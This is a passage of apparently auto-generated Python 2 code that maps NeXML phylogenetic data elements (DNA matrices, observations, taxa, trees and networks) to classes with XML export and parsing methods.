showIndent(outfile, level) outfile.write('model_.DNAMatrixSeqRow(\n') row_.exportLiteral(outfile, level, name_='DNAMatrixSeqRow') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.RowSet(\n') set_.exportLiteral(outfile, level, name_='RowSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNASeqMatrix, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'row': obj_ = DNAMatrixSeqRow.factory() obj_.build(child_) self.row.append(obj_) elif nodeName_ == 'set': obj_ = RowSet.factory() obj_.build(child_) self.set.append(obj_) # end class DNASeqMatrix class DNAFormat(AbstractFormat): """The DNAFormat class is the container of DNA column definitions.""" subclass = None superclass = AbstractFormat def __init__(self, about=None, meta=None, states=None, char=None, set=None, valueOf_=None): super(DNAFormat, self).__init__(about, meta, states, char, set, ) if states is None: self.states = [] else: self.states = states if char is None: self.char = [] else: self.char = char if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if DNAFormat.subclass: return DNAFormat.subclass(*args_, **kwargs_) else: return DNAFormat(*args_, **kwargs_) factory = staticmethod(factory) def get_states(self): return self.states def set_states(self, states): self.states = states def add_states(self, value): self.states.append(value) def insert_states(self, index, value): self.states[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def add_char(self, value): self.char.append(value) def insert_char(self, index, value): self.char[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='DNAFormat', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='DNAFormat') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='DNAFormat'): super(DNAFormat, self).exportAttributes(outfile, level, already_processed, namespace_, name_='DNAFormat') def exportChildren(self, outfile, level, namespace_='', name_='DNAFormat', fromsubclass_=False): for states_ in self.states: states_.export(outfile, level, namespace_, name_='states') for char_ in self.char: char_.export(outfile, level, namespace_, name_='char') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.states or self.char or self.set or super(DNAFormat, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='DNAFormat'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(DNAFormat, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(DNAFormat, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('states=[\n') level += 1 for states_ in self.states: showIndent(outfile, level) outfile.write('model_.DNAStates(\n') states_.exportLiteral(outfile, level, name_='DNAStates') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('char=[\n') level += 1 for char_ in self.char: showIndent(outfile, level) outfile.write('model_.DNAChar(\n') char_.exportLiteral(outfile, level, name_='DNAChar') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.CharSet(\n') set_.exportLiteral(outfile, level, name_='CharSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(DNAFormat, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'states': obj_ = DNAStates.factory() obj_.build(child_) self.states.append(obj_) elif nodeName_ == 'char': obj_ = DNAChar.factory() obj_.build(child_) self.char.append(obj_) elif nodeName_ == 'set': obj_ = CharSet.factory() obj_.build(child_) self.set.append(obj_) # end class DNAFormat class AbstractObs(Labelled): """The AbstractObs type is the superclass for single observations, i.e. cells in a matrix. A concrete instance of AbstractObs has a "char" attribute that refers to an explicitly defined character (e.g. in categorical matrices), and a "state" attribute that either holds a reference to an explicitly defined state, or a raw state value (a continuous value).""" subclass = None superclass = Labelled def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(AbstractObs, self).__init__(about, meta, label, ) self.char = _cast(None, char) self.state = _cast(None, state) pass def factory(*args_, **kwargs_): if AbstractObs.subclass: return AbstractObs.subclass(*args_, **kwargs_) else: return AbstractObs(*args_, **kwargs_) factory = staticmethod(factory) def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def export(self, outfile, level, namespace_='', name_='AbstractObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObs') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractObs"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractObs'): super(AbstractObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (quote_attrib(self.char), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (quote_attrib(self.state), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractObs', fromsubclass_=False): super(AbstractObs, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = %s,\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = %s,\n' % (self.state,)) super(AbstractObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractObs, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') self.state = value super(AbstractObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractObs, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractObs class ContinuousObs(AbstractObs): """This is a single cell in a matrix containing a continuous observation.""" subclass = None superclass = AbstractObs def __init__(self, about=None, meta=None, label=None, char=None, state=None, valueOf_=None): super(ContinuousObs, self).__init__(about, meta, label, char, state, ) self.char = _cast(None, char) self.state = _cast(None, state) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if ContinuousObs.subclass: return ContinuousObs.subclass(*args_, **kwargs_) else: return ContinuousObs(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_char(self): return self.char def set_char(self, char): self.char = char def get_state(self): return self.state def set_state(self, state): self.state = state def validate_ContinuousToken(self, value): # Validate type ContinuousToken, a restriction on xs:double. pass def export(self, outfile, level, namespace_='', name_='ContinuousObs', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousObs') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousObs'): super(ContinuousObs, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousObs') if self.char is not None and 'char' not in already_processed: already_processed.append('char') outfile.write(' char=%s' % (self.gds_format_string(quote_attrib(self.char).encode(ExternalEncoding), input_name='char'), )) if self.state is not None and 'state' not in already_processed: already_processed.append('state') outfile.write(' state=%s' % (quote_attrib(self.state), )) def exportChildren(self, outfile, level, namespace_='', name_='ContinuousObs', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(ContinuousObs, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousObs'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.char is not None and 'char' not in already_processed: already_processed.append('char') showIndent(outfile, level) outfile.write('char = "%s",\n' % (self.char,)) if self.state is not None and 'state' not in already_processed: already_processed.append('state') showIndent(outfile, level) outfile.write('state = %e,\n' % (self.state,)) super(ContinuousObs, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousObs, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('char', node) if value is not None and 'char' not in already_processed: already_processed.append('char') self.char = value value = find_attr_value_('state', node) if value is not None and 'state' not in already_processed: already_processed.append('state') try: self.state = float(value) except ValueError, exp: raise ValueError('Bad float/double attribute (state): %s' % exp) self.validate_ContinuousToken(self.state) # validate type ContinuousToken super(ContinuousObs, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class ContinuousObs class IDTagged(Labelled): """The IDTagged complexType is a super class for objects that require unique id attributes of type xs:ID. The id must be unique within the XML document.""" subclass = None superclass = Labelled def __init__(self, about=None, meta=None, label=None, id=None, valueOf_=None): super(IDTagged, self).__init__(about, meta, label, ) self.id = _cast(None, id) pass def factory(*args_, **kwargs_): if IDTagged.subclass: return IDTagged.subclass(*args_, **kwargs_) else: return IDTagged(*args_, **kwargs_) factory = staticmethod(factory) def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='IDTagged', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='IDTagged') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="IDTagged"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='IDTagged'): super(IDTagged, self).exportAttributes(outfile, level, already_processed, namespace_, name_='IDTagged') if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='IDTagged', fromsubclass_=False): super(IDTagged, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(IDTagged, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='IDTagged'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(IDTagged, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(IDTagged, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(IDTagged, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(IDTagged, self).buildChildren(child_, node, nodeName_, True) pass # end class IDTagged class Taxa(IDTagged): subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, otu=None, set=None, valueOf_=None): super(Taxa, self).__init__(about, meta, label, id, ) if otu is None: self.otu = [] else: self.otu = otu if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if Taxa.subclass: return Taxa.subclass(*args_, **kwargs_) else: return Taxa(*args_, **kwargs_) factory = staticmethod(factory) def get_otu(self): return self.otu def set_otu(self, otu): self.otu = otu def add_otu(self, value): self.otu.append(value) def insert_otu(self, index, value): self.otu[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='Taxa', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Taxa') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Taxa"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Taxa'): super(Taxa, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Taxa') def exportChildren(self, outfile, level, namespace_='', name_='Taxa', fromsubclass_=False): super(Taxa, self).exportChildren(outfile, level, namespace_, name_, True) for otu_ in self.otu: otu_.export(outfile, level, namespace_, name_='otu') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.otu or self.set or super(Taxa, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Taxa'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(Taxa, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Taxa, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('otu=[\n') level += 1 for otu_ in self.otu: showIndent(outfile, level) outfile.write('model_.Taxon(\n') otu_.exportLiteral(outfile, level, name_='Taxon') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.TaxonSet(\n') set_.exportLiteral(outfile, level, name_='TaxonSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(Taxa, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'otu': obj_ = Taxon.factory() obj_.build(child_) self.otu.append(obj_) elif nodeName_ == 'set': obj_ = TaxonSet.factory() obj_.build(child_) self.set.append(obj_) super(Taxa, self).buildChildren(child_, node, nodeName_, True) # end class Taxa class Taxon(IDTagged): subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, valueOf_=None): super(Taxon, self).__init__(about, meta, label, id, ) pass def factory(*args_, **kwargs_): if Taxon.subclass: return Taxon.subclass(*args_, **kwargs_) else: return Taxon(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='Taxon', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Taxon') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Taxon"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Taxon'): super(Taxon, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Taxon') def exportChildren(self, outfile, level, namespace_='', name_='Taxon', fromsubclass_=False): super(Taxon, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(Taxon, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Taxon'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(Taxon, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Taxon, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(Taxon, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(Taxon, self).buildChildren(child_, node, nodeName_, True) pass # end class Taxon class AbstractTrees(IDTagged): """The AbstractTrees superclass is what concrete trees inherit from.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, network=None, tree=None, set=None, valueOf_=None): super(AbstractTrees, self).__init__(about, meta, label, id, ) if network is None: self.network = [] else: self.network = network if tree is None: self.tree = [] else: self.tree = tree if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractTrees.subclass: return AbstractTrees.subclass(*args_, **kwargs_) else: return AbstractTrees(*args_, **kwargs_) factory = staticmethod(factory) def get_network(self): return self.network def set_network(self, network): self.network = network def add_network(self, value): self.network.append(value) def insert_network(self, index, value): self.network[index] = value def get_tree(self): return self.tree def set_tree(self, tree): self.tree = tree def add_tree(self, value): self.tree.append(value) def insert_tree(self, index, value): self.tree[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractTrees', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractTrees') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractTrees"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractTrees'): super(AbstractTrees, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractTrees') def exportChildren(self, outfile, level, namespace_='', name_='AbstractTrees', fromsubclass_=False): super(AbstractTrees, self).exportChildren(outfile, level, namespace_, name_, True) for network_ in self.get_network(): network_.export(outfile, level, namespace_, name_='network') for tree_ in self.get_tree(): tree_.export(outfile, level, namespace_, name_='tree') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.network or self.tree or self.set or super(AbstractTrees, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractTrees'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractTrees, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractTrees, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('network=[\n') level += 1 for network_ in self.network: showIndent(outfile, level) outfile.write('model_.AbstractNetwork(\n') network_.exportLiteral(outfile, level, name_='AbstractNetwork') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('tree=[\n') level += 1 for tree_ in self.tree: showIndent(outfile, level) outfile.write('model_.AbstractTree(\n') tree_.exportLiteral(outfile, level, name_='AbstractTree') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.TreeAndNetworkSet(\n') set_.exportLiteral(outfile, level, name_='TreeAndNetworkSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractTrees, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'network': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <network> element') self.network.append(obj_) elif nodeName_ == 'tree': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <tree> element') self.tree.append(obj_) elif nodeName_ == 'set': obj_ = TreeAndNetworkSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractTrees, self).buildChildren(child_, node, nodeName_, True) # end class AbstractTrees class AbstractNetwork(IDTagged): """The AbstractNetwork superclass is what a concrete network inherits from.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, node=None, edge=None, set=None, valueOf_=None): super(AbstractNetwork, self).__init__(about, meta, label, id, ) if node is None: self.node = [] else: self.node = node if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractNetwork.subclass: return AbstractNetwork.subclass(*args_, **kwargs_) else: return AbstractNetwork(*args_, **kwargs_) factory = staticmethod(factory) def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractNetwork', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractNetwork') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractNetwork"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractNetwork'): super(AbstractNetwork, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractNetwork') def exportChildren(self, outfile, level, namespace_='', name_='AbstractNetwork', fromsubclass_=False): super(AbstractNetwork, self).exportChildren(outfile, level, namespace_, name_, True) for node_ in self.get_node(): node_.export(outfile, level, namespace_, name_='node') for edge_ in self.get_edge(): edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.node or self.edge or self.set or super(AbstractNetwork, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractNetwork'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractNetwork, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractNetwork, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.AbstractNode(\n') node_.exportLiteral(outfile, level, name_='AbstractNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.AbstractEdge(\n') edge_.exportLiteral(outfile, level, name_='AbstractEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractNetwork, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'node': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <node> element') self.node.append(obj_) elif nodeName_ == 'edge': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <edge> element') self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractNetwork, self).buildChildren(child_, node, nodeName_, True) # end class AbstractNetwork class AbstractTree(IDTagged): """The AbstractTree superclass is what a concrete tree inherits from.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, node=None, rootedge=None, edge=None, set=None, valueOf_=None): super(AbstractTree, 